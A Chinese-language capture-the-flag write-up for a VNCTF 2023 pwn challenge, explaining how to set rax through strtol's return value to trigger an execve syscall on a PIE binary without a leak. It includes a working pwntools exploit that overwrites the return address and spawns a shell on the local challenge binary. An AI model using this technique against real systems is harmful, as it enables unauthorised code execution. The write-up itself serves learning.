利用函数返回值设置rax

  • 利用函数返回值设置rax参数其实是一种挺常见的技巧,read函数可以设置rax,strtol也可以设置rax
  • 这里写的题目是vnctf2023的xxx题目
  • 题目分析:checksec发现开启了pie,这意味着如果没有泄露pie所有gadget都不能用,printf(“heyhey , hao_kang_de is %lx \n”, v1);只能打印栈地址,起初想看能不能控制来泄露pie或者libcbase,发现都不行,思路就卡住了(做题时也被这个泄露给迷惑了,一直往泄露方面想)
  • 但是栈溢出另一种常见的技巧是打syscall,当时做题的时候忘记了,syscall在无法泄露时非常有用,只要设置好参数即可
  • 此题刚好给了控制rsi,rdx的magic gadget,意思就是让你打syscall,想到了怎么打exp就很好写了
  • 这个题还有个特别之处是libc2.31的strtol函数rdi最终会指向让strtol函数截止的地方,这里就是/bin/sh的地址,我自己的ldd是libc2.35一开始还打不通
  • exp
from pwn import *
from pwncli import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
from pwnlib.util.packing import p8
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("/home/zp9080/PWN/xxx")
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') #彩色打印
p=process("/home/zp9080/PWN/xxx")
def dbg():
    gdb.attach(p,'b *$rebase(0x976)')
    pause()


payload = flat({
        0x0:"59",
        0x2: "/bin/sh\x00",
        0x30: 0xdeadbeef,
        0x38: p8(0x99),
        0x39: p8(0x08)
        },length = 0x3a)
p.sendafter("if you give me your number,i will give you some hao_kang_de\n",payload)
p.recvuntil("hao_kang_de is ")
buf=int(p.recv(14),16)
print(hex(buf))
p.sendafter("anything want to say?\n",b'aaaa')
p.interactive()